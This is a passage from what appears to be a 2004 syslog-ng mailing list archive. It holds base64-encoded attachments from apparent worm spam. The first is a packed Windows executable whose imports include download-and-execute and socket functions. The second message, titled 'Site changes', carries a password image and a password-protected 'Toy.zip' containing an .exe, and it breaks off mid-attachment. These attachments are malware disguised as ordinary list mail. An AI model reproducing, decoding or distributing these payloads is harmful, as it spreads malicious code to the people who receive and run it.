TmV4DlJldEohgN3NrWdnaWlEcoJrW/d2U3QFbmdziVMYRcVxtd3PDQ0IQXQfYnV4da39giET UG8xEIBT2iGCuwtlcAZHGp1t27b3HwkVVCFtJ2EZ4Rf2ZKJVbm3VV2FpdF3mDG+uU4AOT2Jq OxTf7S9ZC0v0FG5FeB7hdrZ0MnJlPWx1cmOYyx722QltcGkKcHkJLvZasG4KMQn8+jDbZmei R89/egzhCx+PEFR5cC9DkXNlSGEQDwz3XmobyQlDddjBCoVyqAbcSWQU17rPAhJvbW1FTMBV BHsHx0YnkHYOm3sDO68PeHLuafgP22VHQ1Vh+29saGVscG6yX1jTU1dwc2hvdBloBhu24bBk DU2ueEENWpcwQ8dNcGQTDNpCssJvHwo/YRuabO0SvlJoS3PmbqdZWkEIFmdEGRTM4d7CVkR1 OBAWDWz2ZG9FdCBLZXkOcmZzb9kO3w1UTpijnZ0gIULwHw3Jbk1vkF9iSkRDttmbHUptfV8W CeFjO4w5Rllv5GywjW2CO0lQgyZ27xizWWtRXA4vz7h2w9xsCD7GQms329YMZ/xUpYNRcqdY 30xJNjRRMQZtT25I21qHSdQ7DmppCuFpNkdH1WIAU6s0W8OjbLVCQUVuQPbYG+4/33JJQQlE dXAI2cZgbgISVIVtCfWn6dxSJzl6WFVSTESmm+S6ZW5sQGkchWg2bZ1gfXDJdGZNHTss7DRh Z1BvkP9za20ZZm2VcKQ1eneVGk/u3hxoVRuqHE9P00mQeEndbrrsa9mSAhR0QQ6MgJUuVVwR 8zZD23BublJlZMMvWZy5tu5pjGkfX7xkO0FAo7GedMD4VZidzCEMYnkOSHnpa8BQWGOAcwNr ZXS/yltuYr1yYWNjJVNBgdccd1xydHUwIxl5NvtmrnYyehRsBz75L8dgzVBFTAEEAMwPkECe NP8P4AAPAQsBBQwARFZIUPsMBwLfWA1AC24WbDkCBDMHDMDO3JLQHjQQB7O8JN4GT9Bh3F0g kMvAoAOnxPuarrABHi7DdOtCkHcX9gXrBCMgHi5yZHSD7Qqvo0YL+wwnSNli3YVAAi4mR3Vt SprucCc6VMBPBhtsgXOCAOvAc47Av9/KJxtwZA0hxgAAAAAAAAAAIAH/AABgviWgQACNvttv //9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz 73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0icUB23UHix6D7vwR2xHJAdt1B4seg+78 EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHbc+SDwQKB/QDz//+D0QGNFC+D/fx2 D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz///9eife5BwAAAIoHRyzoPAF3 94A/AHXyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AwAAAiwcJwHQ8i18EjYQw pOMAAAHzUIPHCP+WgOQAAJWKB0cIwHTciflXSPKuVf+WhOQAAAnAdAeJA4PDBOvh/5aI5AAA YekEbP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABmNbfDxyzAT7apCyBFfXI6Ao6QeG+Z FaYyDEIYQbQ7HhJbJlNOkgUNlC2DsKEiLXdTVIS1Fxw/D1N2CmUrk4qkWrQSX7IXPYpHGHCe anedwndiF3wXP1oYfb6jgkitiCg0xA+NhqDFJCSGgqMNalmjHKkburtJCJekQ4+iLJSVmZy/ awdMDRxJoG29fJizkgSBXop+JhtUjGoTGJIzd7tyNhEUrgkLvUdVIKFYvjgAR2K7bKi5OyjH WUlii5Rrpk9XuoJou3twZ1yeLHETt8eFNaGJase/LaBSbXGCB1ebujIaUDQbYG4Chr8TRhd4 j7YwknOjlRdQiYRlCQBsgzyTPVNIDL8qtqavb7d5gjWYVhtGoV2Ux5hesGcnIlmqLa6YgSE9 qx9YeZqVt5uAL8eRlw52ql9JTr1nEyocxlALP2tUgpFvXk2BvxkDQ55PsaxadRwdtmYVRlMG aA29Ca+zGGg9WFGdFXozlYWcBFiLagpfDVMEpi5fiVUOVSCsdyl9fDgbFkcjmjoON32pNrZk HVdJbXdSpggVEbVYhWJtuGsbbyplczwyJRqCn8MOnX84v1BWlhC5S0tOY6o0U3gpIr0lgZw+ GoSzDcWGanCrsZFTRAVyF7kNjCGNWKqgcla4qpsHg4pkVX1ipRs+YH0QwZ+MDzCZGm1mCkxH KAxEvcQYQZatuAZoJkOJvhYFCxlvAUJ6liNjrJikYccRL2ZciT+DMYmKgXWeaiK5HS6mb1NM occDNUxRJVa1PcJ+NMQUXajAFZg3w2gSsgq3SUEIMEBnN75Xog+HsFvFPbpPtgRukB/AA8ay BmoPXJc0Dy26Q8QPBH+bMk9KLzC1jQ+rUohbrC28VwQ7ikstgSewDr1jWQOswTVVQZoWNbO4 eiNoq0qgImZqDEqmoSkqOLk1BWg= ----------swtfgorzktmqwuonwuyw-- From syslog-ng@lists.balabit.hu Thu May 27 05:21:38 2004 From: syslog-ng@lists.balabit.hu (Kaans) Date: Thu, 27 May 2004 09:51:38 +0530 Subject: [syslog-ng]Site changes Message-ID: ----------uwlmdnvwteoxcqntrnce Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
Archive password:

----------uwlmdnvwteoxcqntrnce Content-Type: image/bmp; name="bustenhqjc.bmp" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="bustenhqjc.bmp" Content-ID: Qk0+BwAAAAAAADYAAAAoAAAAPAAAAA8AAAABABAAAAAAAAgHAAAAAAAAAAAAAAAAAAAAAAAA /3//f/9//3//f/9//3//f/9//3//f/9/XwhfCF8IXwhfCF8IXwhfCF8IXwhfCF8IXwhfCF8I XwhfCF8IXwhfCF8IXwhfCF8IXwhfCF8IXwhfCF8IXwhfCF8IXwhfCP9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ XylfCL93/3//f/9//39fKV8Iv3f/f/9/n3MfQl8IXyn/Xv9//3+/d19GXwi/Vv9//3//f19n XylfCH9O/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9/X0ZfCJ9v/3//f/9//39fRl8In2//f/9/X0ZfCJ9z31pfCP9e/39/Tl8I n3PfNX9O/3//f981Xwi/d981X0b/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9/XylfCF8IXwhfCF8IH0L/f/9//3/fWl8I/17/f/9//3//f/9/ f2tfCF8p/39fCF8I/3/fWl8In3P/f/9//3//f79WXwh/a/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/f05fCJ9vX2dfCH9O/3//f/9//39fZ18I v1b/f/9//3//f/9//39fCF8p/39fCF8I/39fZ18I31r/f59zH0JfKb9WXwi/Vv9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/v3dfKd81n3NfCB9C /3//f/9//3+fb18IH0L/f/9//3//f/9//15fCF9n/39fCF8I/3+fb18IX0b/f39OXwifb/9e XwjfNf9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /39/a18IP2NfCF8I/3//f/9//3//f18IXwj/f/9//3//fx9CXwgfQp9z/39fRl8In2+/d18I Xwj/f18IXwj/f59zXwhfCP9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f99aXynfNV8In2//f/9/n2//f981Xwifc/9//3//f/9/P2NfCF9G /3//Xl8IX2f/f18IXwj/f18IXwj/f/9/XwhfCP9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/H0JfCF8IX2f/f/9/XwhfCF8pXwh/a/9/ /3//f/9//39fCF8I/3+/d18I31r/f18IXwj/fx9CXwi/d/9/XwjfNf9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/n3NfKV8I/17/f/9/ n3PfWl8pXwj/Xv9//3+/Vl8In3NfCB9C/3//f79W3zWfc18If07/f39rXwj/Xp9vXwi/Vv9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /39fZ18IX0b/f/9//3//f/9/f05fRv9//3+fcx9CXwjfNZ9z/3//f/9/v1ZfCF9Gv3f/f/9/ X2ffNV8IX0b/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9/ ----------uwlmdnvwteoxcqntrnce Content-Type: application/octet-stream; name="Toy.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Toy.zip" UEsDBAoAAQAIAGBOuzB5Dw3VjmsAADtnAAAMAAAAc25xY2p1aGMuZXhllI1ZH13XLj+RVnua o5NR4+uE2sdD1DL2Le68rCJ3gdHU+MzZ6AUepjHL6D3Ky8tLw0IMNyJIvptZ/YtVfahJUq+j Yg3qzgw/tfXEe/ACjte1T8UzVF7fCaAaAfzbMX366jZ94TUAFH369n3+3CloFw3PW2AnPXoW TOsm37vgr/ei7UULg2q7yLCpvVq5w9/HbHQcDZ9EaBgNL2RS0oBRzZUD2ljSX4/SpfPZDF4E 6XAxt43H9CE7Cjh04kbSlcBTiG1/3NuOLeNnnx+QAmqoOyP7dGK9sHBVKuYOqffwsNyQNfZ9 E7n8wzrKLDzrm2Y2/3sjRwTFFKndGgyb2xtaZ7A0crHio73EmGuLrqbxWhlCQmZf6xR9Pmdn tLABgtK4lxlDCrk4AN+qM3vwv4CQEPfJgswJT/pEixYlttbx6NlmuBjQhtjV4MdGhDVRsMT3 KQa40/ka+9UP1M5tww01K1nsMKRe42CjDZzRioJh5BigoarMmKNX1Um51hav+gzbPyxizoTJ JhW2eU27YPKay0+Hk/hUUSlymt/O/mBsyP0Vd9+KPvv7e2l7QHYuUdHhVIQU5rOT7Dp5TRLm VCszwrG410kZL2cKAqL6SkdOmUOD4mAAfsct/gIy043XDt8eNpFUb7lzA50EPsZjzJuRBWlP RduhZLdkOLJF89SXaF6qoS60LwPiLLNmSwAwzRs8Oo7PKuKsvO4WyPmUumi7pbrBrSNoIr+I 